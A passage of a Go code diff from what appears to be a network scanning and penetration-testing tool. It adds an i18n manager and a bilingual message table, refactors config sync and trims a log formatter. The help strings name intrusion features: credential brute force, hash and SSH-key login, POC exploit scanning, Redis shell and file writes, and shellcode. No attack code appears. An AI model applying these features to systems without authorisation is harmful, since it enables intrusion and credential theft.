// =============================================================================
var (
PortMap map[int][]string // 端口映射
DefaultMap []string // 默认映射
)
// =============================================================================
// 其他全局变量 - 直接定义,避免多层引用
// =============================================================================
var (
// 输出配置
Outputfile string
OutputFormat string
ProgressBar *progressbar.ProgressBar
OutputMutex sync.Mutex
// 日志状态
Num, End int64
StartTime = time.Now()
// 其他变量按需添加
)
// =============================================================================
// 日志级别常量
// =============================================================================
const (
LogLevelAll = string(logging.LevelAll)
LogLevelError = string(logging.LevelError)
LogLevelBase = string(logging.LevelBase)
LogLevelInfo = string(logging.LevelInfo)
LogLevelSuccess = string(logging.LevelSuccess)
LogLevelDebug = string(logging.LevelDebug)
LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
)
// =============================================================================
// 初始化和同步函数
// =============================================================================
func init() {
// 初始化核心配置
core.InitGlobalConfig()
// 同步变量
syncWithCore()
}
// syncWithCore 同步common包变量与core包变量
func syncWithCore() {
// 读取core包的默认值
ScanMode = core.ScanMode
ThreadNum = core.ThreadNum
Timeout = core.Timeout
DisablePing = core.DisablePing
LocalMode = core.LocalMode
Username = core.Username
Password = core.Password
Userdict = core.Userdict
Passwords = core.Passwords
HttpProxy = core.HttpProxy
Socks5Proxy = core.Socks5Proxy
NoColor = core.NoColor
Language = core.Language
LogLevel = core.LogLevel
PortMap = core.PortMap
DefaultMap = core.DefaultMap
}
// syncToCore 将common包变量同步回core包
func syncToCore() {
core.ScanMode = ScanMode
core.ThreadNum = ThreadNum
core.Timeout = Timeout
core.DisablePing = DisablePing
core.LocalMode = LocalMode
core.Username = Username
core.Password = Password
core.Userdict = Userdict
core.Passwords = Passwords
core.HttpProxy = HttpProxy
core.Socks5Proxy = Socks5Proxy
core.NoColor = NoColor
core.Language = Language
core.LogLevel = LogLevel
core.PortMap = PortMap
core.DefaultMap = DefaultMap
}

File diff suppressed because it is too large Load Diff

207
Common/i18n/manager.go Normal file
View File

@ -0,0 +1,207 @@
package i18n
import (
"fmt"
"sync"
)
/*
manager.go - 国际化管理器
提供统一的国际化文本管理支持多语言动态切换
包含完整的消息库和高效的文本查询机制
*/
// =============================================================================
// 常量定义
// =============================================================================
// 支持的语言常量
const (
LangZH = "zh" // 中文
LangEN = "en" // 英文
)
// 默认配置
const (
DefaultLanguage = LangZH // 默认语言
FallbackLanguage = LangEN // 回退语言
)
// =============================================================================
// 国际化管理器
// =============================================================================
// Manager 国际化管理器
type Manager struct {
mu sync.RWMutex
currentLanguage string
fallbackLanguage string
messages map[string]map[string]string
enabled bool
}
// 全局管理器实例
var globalManager = NewManager()
// NewManager 创建新的国际化管理器
func NewManager() *Manager {
return &Manager{
currentLanguage: DefaultLanguage,
fallbackLanguage: FallbackLanguage,
messages: make(map[string]map[string]string),
enabled: true,
}
}
// =============================================================================
// 基础管理方法
// =============================================================================
// SetLanguage 设置当前语言
func (m *Manager) SetLanguage(lang string) {
m.mu.Lock()
defer m.mu.Unlock()
m.currentLanguage = lang
}
// SetFallbackLanguage 设置回退语言
func (m *Manager) SetFallbackLanguage(lang string) {
m.mu.Lock()
defer m.mu.Unlock()
m.fallbackLanguage = lang
}
// Enable 启用国际化
func (m *Manager) Enable() {
m.mu.Lock()
defer m.mu.Unlock()
m.enabled = true
}
// =============================================================================================
// 已删除的死代码函数未使用GetLanguage, Disable
// =============================================================================================
// IsEnabled 检查是否启用国际化
func (m *Manager) IsEnabled() bool {
m.mu.RLock()
defer m.mu.RUnlock()
return m.enabled
}
// =============================================================================
// 消息管理方法
// =============================================================================
// AddMessages 批量添加消息
func (m *Manager) AddMessages(messages map[string]map[string]string) {
m.mu.Lock()
defer m.mu.Unlock()
for key, translations := range messages {
m.messages[key] = translations
}
}
// GetMessage 获取指定键和语言的消息
func (m *Manager) GetMessage(key, lang string) (string, bool) {
m.mu.RLock()
defer m.mu.RUnlock()
if translations, exists := m.messages[key]; exists {
if message, exists := translations[lang]; exists {
return message, true
}
}
return "", false
}
// =============================================================================================
// 已删除的死代码函数(未使用):
// AddMessage, HasMessage, GetAllMessages, GetMessageCount, GetSupportedLanguages
// =============================================================================================
// =============================================================================
// 文本获取方法
// =============================================================================
// GetText 获取国际化文本(支持格式化)
func (m *Manager) GetText(key string, args ...interface{}) string {
if !m.IsEnabled() {
// 如果禁用国际化,返回原始键名
if len(args) > 0 {
return fmt.Sprintf(key, args...)
}
return key
}
m.mu.RLock()
currentLang := m.currentLanguage
fallbackLang := m.fallbackLanguage
m.mu.RUnlock()
// 尝试获取当前语言的消息
if message, exists := m.GetMessage(key, currentLang); exists {
if len(args) > 0 {
return fmt.Sprintf(message, args...)
}
return message
}
// 回退到回退语言
if currentLang != fallbackLang {
if message, exists := m.GetMessage(key, fallbackLang); exists {
if len(args) > 0 {
return fmt.Sprintf(message, args...)
}
return message
}
}
// 如果都没找到,返回键名作为兜底
if len(args) > 0 {
return fmt.Sprintf(key, args...)
}
return key
}
// =============================================================================================
// 已删除的死代码函数未使用GetTextWithLanguage
// =============================================================================================
// =============================================================================
// 全局访问函数
// =============================================================================
// SetLanguage 设置全局语言
func SetLanguage(lang string) {
globalManager.SetLanguage(lang)
}
// AddMessages 批量添加消息到全局管理器
func AddMessages(messages map[string]map[string]string) {
globalManager.AddMessages(messages)
}
// GetText 从全局管理器获取国际化文本
func GetText(key string, args ...interface{}) string {
return globalManager.GetText(key, args...)
}
// =============================================================================================
// 已删除的死代码函数(未使用):
// GetGlobalManager, GetLanguage, AddMessage, GetTextWithLanguage,
// Enable, Disable, IsEnabled, HasMessage, GetMessageCount, GetSupportedLanguages
// =============================================================================================
// =============================================================================
// 初始化函数
// =============================================================================
// init 初始化全局国际化管理器
func init() {
// 设置默认配置
globalManager.SetLanguage(DefaultLanguage)
globalManager.SetFallbackLanguage(FallbackLanguage)
globalManager.Enable()
}

915
Common/i18n/messages.go Normal file
View File

@ -0,0 +1,915 @@
package i18n
/*
messages.go - 国际化消息定义
包含项目中所有的国际化消息按功能模块分类组织
支持中文和英文两种语言
*/
// =============================================================================
// 核心消息库
// =============================================================================
// coreMessages 核心消息映射
var coreMessages = map[string]map[string]string{
// ========================= 解析错误消息 =========================
"parse_error_empty_input": {
LangZH: "输入参数为空",
LangEN: "Input parameters are empty",
},
"parse_error_config_failed": {
LangZH: "解析配置失败: %v",
LangEN: "Failed to parse configuration: %v",
},
"parse_error_parser_not_init": {
LangZH: "解析器未初始化",
LangEN: "Parser not initialized",
},
"parse_error_credential_failed": {
LangZH: "凭据解析失败: %v",
LangEN: "Failed to parse credentials: %v",
},
"parse_error_target_failed": {
LangZH: "目标解析失败: %v",
LangEN: "Failed to parse targets: %v",
},
"parse_error_network_failed": {
LangZH: "网络解析失败: %v",
LangEN: "Failed to parse network configuration: %v",
},
"parse_error_validation_failed": {
LangZH: "验证失败: %v",
LangEN: "Validation failed: %v",
},
"parse_error_update_vars_failed": {
LangZH: "更新全局变量失败: %v",
LangEN: "Failed to update global variables: %v",
},
"parse_error_target_empty": {
LangZH: "目标输入为空",
LangEN: "Target input is empty",
},
"parse_error_credential_empty": {
LangZH: "凭据输入为空",
LangEN: "Credential input is empty",
},
"parse_error_network_empty": {
LangZH: "网络配置为空",
LangEN: "Network configuration is empty",
},
"parse_error_invalid_ip": {
LangZH: "无效的IP地址: %s",
LangEN: "Invalid IP address: %s",
},
"parse_error_invalid_port": {
LangZH: "无效的端口: %s",
LangEN: "Invalid port: %s",
},
"parse_error_invalid_url": {
LangZH: "无效的URL: %s",
LangEN: "Invalid URL: %s",
},
"parse_error_file_not_found": {
LangZH: "文件未找到: %s",
LangEN: "File not found: %s",
},
"parse_error_file_read_failed": {
LangZH: "读取文件失败: %s",
LangEN: "Failed to read file: %s",
},
// ========================= 配置相关消息 =========================
"config_sync_start": {
LangZH: "开始同步配置",
LangEN: "Starting configuration sync",
},
"config_sync_complete": {
LangZH: "配置同步完成",
LangEN: "Configuration sync completed",
},
"config_validation_start": {
LangZH: "开始配置验证",
LangEN: "Starting configuration validation",
},
"config_validation_complete": {
LangZH: "配置验证完成",
LangEN: "Configuration validation completed",
},
"config_invalid_scan_mode": {
LangZH: "无效的扫描模式: %s",
LangEN: "Invalid scan mode: %s",
},
"config_invalid_thread_num": {
LangZH: "无效的线程数: %d",
LangEN: "Invalid thread number: %d",
},
"config_invalid_timeout": {
LangZH: "无效的超时时间: %v",
LangEN: "Invalid timeout: %v",
},
"config_invalid_proxy": {
LangZH: "无效的代理配置: %s",
LangEN: "Invalid proxy configuration: %s",
},
"config_missing_required": {
LangZH: "缺少必需的配置项: %s",
LangEN: "Missing required configuration: %s",
},
"config_load_default": {
LangZH: "加载默认配置",
LangEN: "Loading default configuration",
},
"config_override_detected": {
LangZH: "检测到配置覆盖: %s",
LangEN: "Configuration override detected: %s",
},
// ========================= 输出系统消息 =========================
"output_init_start": {
LangZH: "初始化输出系统",
LangEN: "Initializing output system",
},
"output_init_success": {
LangZH: "输出系统初始化成功",
LangEN: "Output system initialized successfully",
},
"output_init_failed": {
LangZH: "输出系统初始化失败: %v",
LangEN: "Failed to initialize output system: %v",
},
"output_format_invalid": {
LangZH: "无效的输出格式: %s",
LangEN: "Invalid output format: %s",
},
"output_path_empty": {
LangZH: "输出路径为空",
LangEN: "Output path is empty",
},
"output_not_init": {
LangZH: "输出系统未初始化",
LangEN: "Output system not initialized",
},
"output_saving_result": {
LangZH: "保存扫描结果: %s -> %s",
LangEN: "Saving scan result: %s -> %s",
},
"output_save_failed": {
LangZH: "保存结果失败: %v",
LangEN: "Failed to save result: %v",
},
"output_closing": {
LangZH: "关闭输出系统",
LangEN: "Closing output system",
},
"output_closed": {
LangZH: "输出系统已关闭",
LangEN: "Output system closed",
},
"output_close_failed": {
LangZH: "关闭输出系统失败: %v",
LangEN: "Failed to close output system: %v",
},
"output_config_nil": {
LangZH: "配置不能为空",
LangEN: "Configuration cannot be nil",
},
"output_unsupported_format": {
LangZH: "不支持的输出格式: %s",
LangEN: "Unsupported output format: %s",
},
"output_writer_init_failed": {
LangZH: "初始化写入器失败: %v",
LangEN: "Failed to initialize writer: %v",
},
"output_writer_closed": {
LangZH: "写入器已关闭",
LangEN: "Writer is closed",
},
"output_manager_not_init": {
LangZH: "输出管理器未初始化",
LangEN: "Output manager not initialized",
},
"output_manager_closed": {
LangZH: "输出管理器已关闭",
LangEN: "Output manager is closed",
},
"output_write_failed": {
LangZH: "写入结果失败: %v",
LangEN: "Failed to write result: %v",
},
"output_flush_failed": {
LangZH: "刷新写入器失败: %v",
LangEN: "Failed to flush writer: %v",
},
"output_create_file_failed": {
LangZH: "创建%s文件失败: %v",
LangEN: "Failed to create %s file: %v",
},
"output_write_header_failed": {
LangZH: "写入CSV头部失败: %v",
LangEN: "Failed to write CSV header: %v",
},
"output_open_file_failed": {
LangZH: "打开CSV文件失败: %v",
LangEN: "Failed to open CSV file: %v",
},
"output_read_file_failed": {
LangZH: "读取CSV文件失败: %v",
LangEN: "Failed to read CSV file: %v",
},
"output_parse_time_failed": {
LangZH: "无法解析时间: %s",
LangEN: "Failed to parse time: %s",
},
// ========================= 代理系统消息 =========================
"proxy_init_start": {
LangZH: "初始化代理系统",
LangEN: "Initializing proxy system",
},
"proxy_init_success": {
LangZH: "代理系统初始化成功",
LangEN: "Proxy system initialized successfully",
},
"proxy_init_failed": {
LangZH: "初始化代理配置失败: %v",
LangEN: "Failed to initialize proxy configuration: %v",
},
"proxy_config_sync_failed": {
LangZH: "代理配置同步失败: %v",
LangEN: "Failed to sync proxy configuration: %v",
},
"proxy_enabled": {
LangZH: "代理已启用: %s %s",
LangEN: "Proxy enabled: %s %s",
},
"proxy_disabled": {
LangZH: "代理已禁用",
LangEN: "Proxy disabled",
},
"proxy_connection_failed": {
LangZH: "代理连接失败: %v",
LangEN: "Proxy connection failed: %v",
},
"socks5_create_failed": {
LangZH: "创建SOCKS5连接失败: %v",
LangEN: "Failed to create SOCKS5 connection: %v",
},
"tls_conn_failed": {
LangZH: "TLS连接失败: %v",
LangEN: "TLS connection failed: %v",
},
// ========================= 系统状态消息 =========================
"status_scan_start": {
LangZH: "开始扫描",
LangEN: "Starting scan",
},
"status_scan_complete": {
LangZH: "扫描完成",
LangEN: "Scan completed",
},
"status_scan_progress": {
LangZH: "扫描进度: %d/%d",
LangEN: "Scan progress: %d/%d",
},
"status_target_found": {
LangZH: "发现目标: %s",
LangEN: "Target found: %s",
},
"status_service_detected": {
LangZH: "检测到服务: %s",
LangEN: "Service detected: %s",
},
"status_vuln_found": {
LangZH: "发现漏洞: %s",
LangEN: "Vulnerability found: %s",
},
"status_connection_failed": {
LangZH: "连接失败: %s",
LangEN: "Connection failed: %s",
},
"status_timeout": {
LangZH: "连接超时: %s",
LangEN: "Connection timeout: %s",
},
// ========================= 目标解析消息 =========================
"target_parse_start": {
LangZH: "开始解析目标",
LangEN: "Starting target parsing",
},
"target_parse_complete": {
LangZH: "目标解析完成",
LangEN: "Target parsing completed",
},
"target_hosts_found": {
LangZH: "目标主机: %s",
LangEN: "Target hosts: %s",
},
"target_hosts_count": {
LangZH: "目标主机: %s ... (共%d个)",
LangEN: "Target hosts: %s ... (total %d)",
},
"target_urls_found": {
LangZH: "目标URL: %s",
LangEN: "Target URLs: %s",
},
"target_urls_count": {
LangZH: "目标URL: %s ... (共%d个)",
LangEN: "Target URLs: %s ... (total %d)",
},
"target_ports_found": {
LangZH: "扫描端口: %s",
LangEN: "Scan ports: %s",
},
"target_ports_count": {
LangZH: "扫描端口: %s ... (共%d个)",
LangEN: "Scan ports: %s ... (total %d)",
},
"target_exclude_ports": {
LangZH: "排除端口: %s",
LangEN: "Exclude ports: %s",
},
"target_local_mode": {
LangZH: "本地扫描模式",
LangEN: "Local scan mode",
},
// ========================= 网络配置消息 =========================
"network_http_proxy": {
LangZH: "HTTP代理: %s",
LangEN: "HTTP proxy: %s",
},
"network_socks5_proxy": {
LangZH: "Socks5代理: %s",
LangEN: "Socks5 proxy: %s",
},
"network_timeout": {
LangZH: "连接超时: %v",
LangEN: "Connection timeout: %v",
},
"network_web_timeout": {
LangZH: "Web超时: %v",
LangEN: "Web timeout: %v",
},
// ========================= 凭据相关消息 =========================
"credential_username_count": {
LangZH: "用户名数量: %d",
LangEN: "Username count: %d",
},
"credential_password_count": {
LangZH: "密码数量: %d",
LangEN: "Password count: %d",
},
"credential_hash_count": {
LangZH: "Hash数量: %d",
LangEN: "Hash count: %d",
},
// ========================= 文件操作消息 =========================
"file_read_start": {
LangZH: "开始读取文件: %s",
LangEN: "Starting to read file: %s",
},
"file_read_complete": {
LangZH: "文件读取完成: %s",
LangEN: "File reading completed: %s",
},
"file_read_error": {
LangZH: "读取文件错误: %s",
LangEN: "File reading error: %s",
},
"file_not_exist": {
LangZH: "文件不存在: %s",
LangEN: "File does not exist: %s",
},
"file_empty": {
LangZH: "文件为空: %s",
LangEN: "File is empty: %s",
},
// ========================= 验证相关消息 =========================
"validation_start": {
LangZH: "开始配置验证",
LangEN: "Starting configuration validation",
},
"validation_complete": {
LangZH: "配置验证完成",
LangEN: "Configuration validation completed",
},
"validation_warning": {
LangZH: "验证警告: %s",
LangEN: "Validation warning: %s",
},
"validation_error": {
LangZH: "验证错误: %s",
LangEN: "Validation error: %s",
},
// ========================= 通用错误消息 =========================
"error_occurred": {
LangZH: "错误: %v",
LangEN: "Error: %v",
},
"error_unknown": {
LangZH: "未知错误",
LangEN: "Unknown error",
},
"error_not_implemented": {
LangZH: "功能未实现",
LangEN: "Feature not implemented",
},
"error_permission_denied": {
LangZH: "权限不足",
LangEN: "Permission denied",
},
"error_resource_busy": {
LangZH: "资源忙碌",
LangEN: "Resource busy",
},
// ========================= 通用状态消息 =========================
"status_initializing": {
LangZH: "正在初始化...",
LangEN: "Initializing...",
},
"status_processing": {
LangZH: "正在处理...",
LangEN: "Processing...",
},
"status_completed": {
LangZH: "已完成",
LangEN: "Completed",
},
"status_failed": {
LangZH: "失败",
LangEN: "Failed",
},
"status_cancelled": {
LangZH: "已取消",
LangEN: "Cancelled",
},
"status_ready": {
LangZH: "就绪",
LangEN: "Ready",
},
// ========================= Parsers包专用消息 =========================
"parser_validation_input_empty": {
LangZH: "验证输入为空",
LangEN: "Validation input is empty",
},
"parser_empty_input": {
LangZH: "输入参数为空",
LangEN: "Input parameters are empty",
},
"parser_file_empty": {
LangZH: "文件名为空",
LangEN: "File name is empty",
},
"parser_file_too_big": {
LangZH: "文件过大: %d bytes, 最大限制: %d bytes",
LangEN: "File too large: %d bytes, max limit: %d bytes",
},
"parser_cannot_open_file": {
LangZH: "无法打开文件",
LangEN: "Cannot open file",
},
"parser_file_not_exists": {
LangZH: "文件不存在或无法访问",
LangEN: "File does not exist or cannot be accessed",
},
"parser_file_read_timeout": {
LangZH: "文件读取超时",
LangEN: "File read timeout",
},
"parser_file_scan_failed": {
LangZH: "文件扫描失败",
LangEN: "File scan failed",
},
"parser_username_too_long": {
LangZH: "用户名过长: %d字符最大允许: %d",
LangEN: "Username too long: %d characters, max allowed: %d",
},
"parser_username_invalid_chars": {
LangZH: "用户名包含非法字符",
LangEN: "Username contains invalid characters",
},
"parser_password_empty": {
LangZH: "不允许空密码",
LangEN: "Empty passwords not allowed",
},
"parser_password_too_long": {
LangZH: "密码过长: %d字符最大允许: %d",
LangEN: "Password too long: %d characters, max allowed: %d",
},
"parser_hash_empty": {
LangZH: "哈希值为空",
LangEN: "Hash value is empty",
},
"parser_hash_invalid_format": {
LangZH: "哈希值格式无效需要32位十六进制字符",
LangEN: "Invalid hash format, requires 32-character hexadecimal",
},
"parser_proxy_url_invalid": {
LangZH: "代理URL格式无效: %v",
LangEN: "Invalid proxy URL format: %v",
},
"parser_proxy_protocol_unsupported": {
LangZH: "不支持的代理协议: %s",
LangEN: "Unsupported proxy protocol: %s",
},
"parser_proxy_host_empty": {
LangZH: "代理主机名为空",
LangEN: "Proxy hostname is empty",
},
"parser_proxy_port_invalid": {
LangZH: "代理端口号无效: %s",
LangEN: "Invalid proxy port: %s",
},
"parser_proxy_port_out_of_range": {
LangZH: "代理端口号超出范围: %d",
LangEN: "Proxy port out of range: %d",
},
"parser_proxy_insecure": {
LangZH: "不允许使用不安全的HTTP代理",
LangEN: "Insecure HTTP proxy not allowed",
},
"parser_user_agent_too_long": {
LangZH: "用户代理字符串过长",
LangEN: "User agent string too long",
},
"parser_user_agent_invalid_chars": {
LangZH: "用户代理包含非法字符",
LangEN: "User agent contains invalid characters",
},
"parser_cookie_too_long": {
LangZH: "Cookie字符串过长",
LangEN: "Cookie string too long",
},
"parser_error_count_limit": {
LangZH: "错误数量过多,仅显示前%d个",
LangEN: "Too many errors, showing only first %d",
},
"parser_no_scan_target": {
LangZH: "未指定任何扫描目标",
LangEN: "No scan targets specified",
},
"parser_no_target_default": {
LangZH: "未指定扫描目标,将使用默认配置",
LangEN: "No scan targets specified, using default configuration",
},
"parser_multiple_scan_modes": {
LangZH: "不能同时使用多种扫描模式",
LangEN: "Cannot use multiple scan modes simultaneously",
},
"parser_proxy_ping_warning": {
LangZH: "使用代理时建议禁用Ping检测",
LangEN: "Recommend disabling Ping detection when using proxy",
},
"parser_multiple_modes_conflict": {
LangZH: "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)",
LangEN: "Cannot specify multiple scan modes (host scan, URL scan, local mode) simultaneously",
},
"parser_proxy_ping_fail": {
LangZH: "代理模式下Ping检测可能失效",
LangEN: "Ping detection may fail in proxy mode",
},
"parser_exclude_ports_invalid": {
LangZH: "排除端口无效",
LangEN: "Exclude ports invalid",
},
"parser_many_targets_warning": {
LangZH: "大量目标(%d),可能耗时较长",
LangEN: "Large number of targets (%d), may take a long time",
},
"parser_too_many_ports": {
LangZH: "端口数量过多",
LangEN: "Too many ports",
},
"parser_timeout_too_short": {
LangZH: "超时过短",
LangEN: "Timeout too short",
},
"parser_timeout_too_long": {
LangZH: "超时过长",
LangEN: "Timeout too long",
},
"parser_invalid_scan_mode": {
LangZH: "无效的扫描模式: %s",
LangEN: "Invalid scan mode: %s",
},
// ========================= 扫描流程消息 =========================
"scan_mode_service_selected": {
LangZH: "已选择服务扫描模式",
LangEN: "Service scan mode selected",
},
"scan_info_start": {
LangZH: "开始信息扫描",
LangEN: "Starting information scan",
},
"scan_host_start": {
LangZH: "开始主机扫描",
LangEN: "Starting host scan",
},
"scan_no_service_plugins": {
LangZH: "未找到可用的服务插件",
LangEN: "No available service plugins found",
},
"scan_complete_ports_found": {
LangZH: "扫描完成, 发现 %d 个开放端口",
LangEN: "Scan completed, found %d open ports",
},
"scan_alive_ports_count": {
LangZH: "存活端口数量: %d",
LangEN: "Alive ports count: %d",
},
"scan_task_complete": {
LangZH: "扫描已完成: %d/%d",
LangEN: "Scan completed: %d/%d",
},
// ========================= 配置验证消息 =========================
"config_web_timeout_warning": {
LangZH: "Web超时时间大于普通超时时间可能导致不期望的行为",
LangEN: "Web timeout is larger than normal timeout, may cause unexpected behavior",
},
// ========================= Flag参数帮助消息 =========================
"flag_host": {
LangZH: "目标主机: IP, IP段, IP段文件, 域名",
LangEN: "Target host: IP, IP range, IP file, domain",
},
"flag_exclude_hosts": {
LangZH: "排除主机",
LangEN: "Exclude hosts",
},
"flag_ports": {
LangZH: "端口: 默认1000个常用端口",
LangEN: "Ports: default 1000 common ports",
},
"flag_exclude_ports": {
LangZH: "排除端口",
LangEN: "Exclude ports",
},
"flag_hosts_file": {
LangZH: "主机文件",
LangEN: "Hosts file",
},
"flag_ports_file": {
LangZH: "端口文件",
LangEN: "Ports file",
},
"flag_scan_mode": {
LangZH: "扫描模式: all, portscan, tcpscan, udpscan等",
LangEN: "Scan mode: all, portscan, tcpscan, udpscan, etc.",
},
"flag_thread_num": {
LangZH: "端口扫描线程数",
LangEN: "Port scan thread count",
},
"flag_timeout": {
LangZH: "端口扫描超时时间",
LangEN: "Port scan timeout",
},
"flag_module_thread_num": {
LangZH: "模块线程数",
LangEN: "Module thread count",
},
"flag_global_timeout": {
LangZH: "全局超时时间",
LangEN: "Global timeout",
},
"flag_live_top": {
LangZH: "存活主机显示数量",
LangEN: "Live hosts display count",
},
"flag_disable_ping": {
LangZH: "禁用ping探测",
LangEN: "Disable ping detection",
},
"flag_use_ping": {
LangZH: "启用ping探测",
LangEN: "Enable ping detection",
},
"flag_enable_fingerprint": {
LangZH: "启用指纹识别",
LangEN: "Enable fingerprinting",
},
"flag_local_mode": {
LangZH: "本地扫描模式",
LangEN: "Local scan mode",
},
"flag_username": {
LangZH: "用户名",
LangEN: "Username",
},
"flag_password": {
LangZH: "密码",
LangEN: "Password",
},
"flag_add_users": {
LangZH: "额外用户名",
LangEN: "Additional usernames",
},
"flag_add_passwords": {
LangZH: "额外密码",
LangEN: "Additional passwords",
},
"flag_users_file": {
LangZH: "用户名字典文件",
LangEN: "Username dictionary file",
},
"flag_passwords_file": {
LangZH: "密码字典文件",
LangEN: "Password dictionary file",
},
"flag_hash_file": {
LangZH: "哈希文件",
LangEN: "Hash file",
},
"flag_hash_value": {
LangZH: "哈希值",
LangEN: "Hash value",
},
"flag_domain": {
LangZH: "域名",
LangEN: "Domain name",
},
"flag_ssh_key": {
LangZH: "SSH私钥文件",
LangEN: "SSH private key file",
},
"flag_target_url": {
LangZH: "目标URL",
LangEN: "Target URL",
},
"flag_urls_file": {
LangZH: "URL文件",
LangEN: "URLs file",
},
"flag_cookie": {
LangZH: "HTTP Cookie",
LangEN: "HTTP Cookie",
},
"flag_web_timeout": {
LangZH: "Web超时时间",
LangEN: "Web timeout",
},
"flag_http_proxy": {
LangZH: "HTTP代理",
LangEN: "HTTP proxy",
},
"flag_socks5_proxy": {
LangZH: "SOCKS5代理",
LangEN: "SOCKS5 proxy",
},
"flag_poc_path": {
LangZH: "POC脚本路径",
LangEN: "POC script path",
},
"flag_poc_name": {
LangZH: "POC名称",
LangEN: "POC name",
},
"flag_poc_full": {
LangZH: "全量POC扫描",
LangEN: "Full POC scan",
},
"flag_dns_log": {
LangZH: "DNS日志记录",
LangEN: "DNS logging",
},
"flag_poc_num": {
LangZH: "POC并发数",
LangEN: "POC concurrency",
},
"flag_no_poc": {
LangZH: "禁用POC扫描",
LangEN: "Disable POC scan",
},
"flag_redis_file": {
LangZH: "Redis文件",
LangEN: "Redis file",
},
"flag_redis_shell": {
LangZH: "Redis Shell",
LangEN: "Redis Shell",
},
"flag_disable_redis": {
LangZH: "禁用Redis扫描",
LangEN: "Disable Redis scan",
},
"flag_redis_write_path": {
LangZH: "Redis写入路径",
LangEN: "Redis write path",
},
"flag_redis_write_content": {
LangZH: "Redis写入内容",
LangEN: "Redis write content",
},
"flag_redis_write_file": {
LangZH: "Redis写入文件",
LangEN: "Redis write file",
},
"flag_disable_brute": {
LangZH: "禁用暴力破解",
LangEN: "Disable brute force",
},
"flag_max_retries": {
LangZH: "最大重试次数",
LangEN: "Maximum retries",
},
"flag_output_file": {
LangZH: "输出文件",
LangEN: "Output file",
},
"flag_output_format": {
LangZH: "输出格式: txt, json, csv",
LangEN: "Output format: txt, json, csv",
},
"flag_disable_save": {
LangZH: "禁用结果保存",
LangEN: "Disable result saving",
},
"flag_silent_mode": {
LangZH: "静默模式",
LangEN: "Silent mode",
},
"flag_no_color": {
LangZH: "禁用颜色输出",
LangEN: "Disable color output",
},
"flag_log_level": {
LangZH: "日志级别",
LangEN: "Log level",
},
"flag_show_progress": {
LangZH: "显示进度条 (默认启用)",
LangEN: "Show progress bar (enabled by default)",
},
"flag_no_progress": {
LangZH: "禁用进度条",
LangEN: "Disable progress bar",
},
"flag_show_scan_plan": {
LangZH: "显示扫描计划",
LangEN: "Show scan plan",
},
"flag_slow_log_output": {
LangZH: "慢速日志输出",
LangEN: "Slow log output",
},
"flag_shellcode": {
LangZH: "Shellcode",
LangEN: "Shellcode",
},
"flag_language": {
LangZH: "语言: zh, en",
LangEN: "Language: zh, en",
},
"flag_help": {
LangZH: "显示帮助信息",
LangEN: "Show help information",
},
"flag_version": {
LangZH: "显示版本信息",
LangEN: "Show version information",
},
// ========================= 进度条消息 =========================
"progress_scanning_description": {
LangZH: "扫描进度",
LangEN: "Scanning Progress",
},
"progress_port_scanning": {
LangZH: "端口扫描",
LangEN: "Port Scanning",
},
"progress_scan_completed": {
LangZH: "扫描完成:",
LangEN: "Scan Completed:",
},
"progress_port_scan_completed": {
LangZH: "端口扫描完成:",
LangEN: "Port Scan Completed:",
},
"progress_open_ports": {
LangZH: "开放端口",
LangEN: "Open Ports",
},
}
// =============================================================================
// 初始化函数
// =============================================================================
// init 初始化核心消息到全局管理器
func init() {
// 将所有核心消息添加到全局管理器
AddMessages(coreMessages)
}

View File

@ -27,20 +27,20 @@ func (f *StandardFormatter) Format(entry *LogEntry) string {
elapsed := time.Since(f.startTime) elapsed := time.Since(f.startTime)
timeStr := f.formatElapsedTime(elapsed) timeStr := f.formatElapsedTime(elapsed)
prefix := f.getLevelPrefix(entry.Level) prefix := f.getLevelPrefix(entry.Level)
return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content) return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content)
} }
// formatElapsedTime 格式化经过的时间 // formatElapsedTime 格式化经过的时间
func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string { func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string {
switch { switch {
case elapsed < time.Second: case elapsed < MaxMillisecondDisplay:
// 毫秒显示,不需要小数 // 毫秒显示,不需要小数
return fmt.Sprintf("%dms", elapsed.Milliseconds()) return fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < time.Minute: case elapsed < MaxSecondDisplay:
// 秒显示,保留一位小数 // 秒显示,保留一位小数
return fmt.Sprintf("%.1fs", elapsed.Seconds()) return fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < time.Hour: case elapsed < MaxMinuteDisplay:
// 分钟和秒显示 // 分钟和秒显示
minutes := int(elapsed.Minutes()) minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60 seconds := int(elapsed.Seconds()) % 60
@ -58,84 +58,18 @@ func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string {
func (f *StandardFormatter) getLevelPrefix(level LogLevel) string { func (f *StandardFormatter) getLevelPrefix(level LogLevel) string {
switch level { switch level {
case LevelSuccess: case LevelSuccess:
return "[+]" return PrefixSuccess
case LevelInfo: case LevelInfo:
return "[*]" return PrefixInfo
case LevelError: case LevelError:
return "[-]" return PrefixError
default: default:
return " " return PrefixDefault
} }
} }
// DetailedFormatter 详细日志格式化器 // =============================================================================================
type DetailedFormatter struct { // 已删除的死代码(未使用):
StandardFormatter // DetailedFormatter 及其 Format() 方法
includeSource bool // JSONFormatter 及其 SetStartTime() 和 Format() 方法
includeMetadata bool // =============================================================================================
}
// NewDetailedFormatter 创建详细格式化器
func NewDetailedFormatter(includeSource, includeMetadata bool) *DetailedFormatter {
return &DetailedFormatter{
StandardFormatter: StandardFormatter{startTime: time.Now()},
includeSource: includeSource,
includeMetadata: includeMetadata,
}
}
// Format 格式化日志条目(包含详细信息)
func (f *DetailedFormatter) Format(entry *LogEntry) string {
baseFormat := f.StandardFormatter.Format(entry)
if f.includeSource && entry.Source != "" {
baseFormat += fmt.Sprintf(" [%s]", entry.Source)
}
if f.includeMetadata && len(entry.Metadata) > 0 {
baseFormat += fmt.Sprintf(" %v", entry.Metadata)
}
return baseFormat
}
// JSONFormatter JSON格式化器
type JSONFormatter struct {
startTime time.Time
}
// NewJSONFormatter 创建JSON格式化器
func NewJSONFormatter() *JSONFormatter {
return &JSONFormatter{
startTime: time.Now(),
}
}
// SetStartTime 设置开始时间
func (f *JSONFormatter) SetStartTime(startTime time.Time) {
